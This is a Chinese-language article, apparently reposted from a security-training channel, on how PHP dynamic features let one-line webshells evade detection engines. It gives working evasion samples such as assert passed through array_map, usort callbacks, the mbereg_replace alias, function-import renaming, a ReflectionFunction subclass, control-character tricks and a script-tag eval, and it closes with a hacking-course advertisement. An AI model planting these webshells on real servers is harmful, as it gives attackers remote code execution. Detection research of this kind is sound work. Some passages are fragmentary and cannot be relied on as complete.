PHP动态特性的捕捉与逃逸
Posted 掌控安全EDU
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP动态特性的捕捉与逃逸相关的知识,希望对你有一定的参考价值。
高质量技术文摘,安全面试经验分享
尽在 # 掌控安全EDU #
0x01 什么是PHP动态特性
答案是,我们就可以将上述代码分为两类(实线和虚线):
画实线的部分,我们通过阅读其代码,可以确定他们的作用是什么:
preg_replace('/a/i', 'b', $_POST['name']);
替换用户输入的字符串中的a为b
echo "hello world";
输出字符串“hello world”
foreach (dir('./') as $f) {echo $f->read();}
读取并输出当前目录下所有文件名
画虚线的部分,我们其实是无法完全确定功能的。
比如这段代码:
<?php
$arr = [$_GET, $_POST, $_COOKIE];
array_map($callback, ...$arr);
在$callback
的值为htmlspecialchars
时,作用是处理并编码用户的输入:
<?php
array_map('htmlspecialchars', ...$arr);
在$callback
的值为assert
时,将会变成一个webshell:
<?php
array_map('assert', ...$arr);
0x02 检测与对抗
既然已经开源,我就不过多描述Chip的工作原理了,这篇文章重点还是讲讲对抗。
既然一句话木马可以理解为PHP动态特性,那么PHPChip理论上就可以找到所有一句话木马。
我将我们常见的PHP一句话木马分为如下几个类别
攻击者的小试牛刀
<?php
UsORt($_POST[1], $_POST[2]);
绕过马其顿防线
-
根据经验 -
从文档采集
经验显然是不靠谱的,很少有人能完全掌握PHP中所有的函数原型。从文档采集是个比较靠谱的方法,我们只需要遍历整个PHP的文档,找到函数回调函数参数的函数就行了。
比如,usort
这个函数原型如下:
其第二个参数是一个callable
类型的参数,我们可以传入回调函数,最后构造成回调后门。
那么,文档真的是完全靠谱的吗?
在PHP底层中,有一个宏叫PHP_FALIAS
,作用是给一个函数赋予一个“别名”,比如show_source
函数就是highlight_file
的别名。我们可以在源码中找到这些别名函数:
-
mbereg_replace
-
mbereg_ireplace
mb_ereg_replace
、
mb_eregi_replace
的别名:
mb_ereg_replace
、
mb_eregi_replace
这两个函数你记得吗?他们的作用和
preg_replace
一样,支持传入
e
模式的正则表达式,进而执行任意代码;而且,PHP7后已经删除了
preg_replace
的
e
模式,而
mb_ereg_replace
的
e
模式仍然坚挺到现在。
<?phpmbereg_replace('.*', ' ', $_REQUEST[2333], 'mer');
e
会进行报警,但换成一个包含
e
的字符串,就不会报警了,很有趣。
mbereg_replace
这个别名在PHP7.3被移除了,所以上述代码只能在7.2及以下的PHP中使用。
剑走偏锋
sample
这个函数,在旧的PHP中,遇到这种情况就会报一个致命错误:
PHP Fatal error: Cannot redeclare sample()
虽然命名空间这个概念在PHP5.3就引入了,但一直只支持类名的命名空间,直到PHP5.6才加入了函数名的命名空间。
此时,我们就可以用use function a as b
来导入函数a
,但在当前命名空间中以b
来命名。在表现形式上来看,就类似于我将函数“重命名”了。
所以,我们可以将assert
函数重命名,来构造一个一句话木马:
<?php
use function assert as test;
test($_POST[2333]);
在8月发表议题时,这个Webshell几乎没有检测引擎支持。
举一反三
我们刚才研究了“重命名”函数造成的绕过,思考一下,还有哪些行为,我们可以认为也是在“重命名”?
很简单,类的继承,其实也可以理解为一种“重命名”。子类拥有父类所有的方法,也可以做所有父类支持的操作。
构造一个简单的Webshell:
<?php
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f->invoke($_POST[2333]);
<?php
$f = new class ( $_POST [ 'name' ]) extends ReflectionFunction {};
$f -> invoke ( $_POST [ 2333 ]);
待时而动
<?php
usort ( ... $_GET );
敌后武工队
printf < char > ( 'hello world' )
[ x00 - x20 ]
<?php eval x01x02 ( $_POST [ 2333 ]);
x01x02
需要转换成实际的字符。
暗度陈仓
<script>
标签构造的Webshell,不识别该标签的检测引擎就会出现绕过:
<script language="php">
eval($_POST[2333]);
</script>
0x03 总结
黑客教程~ 课件 靶场 ~ 限!时!免费!送!
以就业为导向的专业付费课
直播+录播+一周七天辅导员轮岗教学
扫描下方二维码 立刻咨询助教老师!
加好友请备注暗号:GG,还有优惠!
点击在看~好文大家给一起看! 以上是关于PHP动态特性的捕捉与逃逸的主要内容,如果未能解决你的问题,请参考以下文章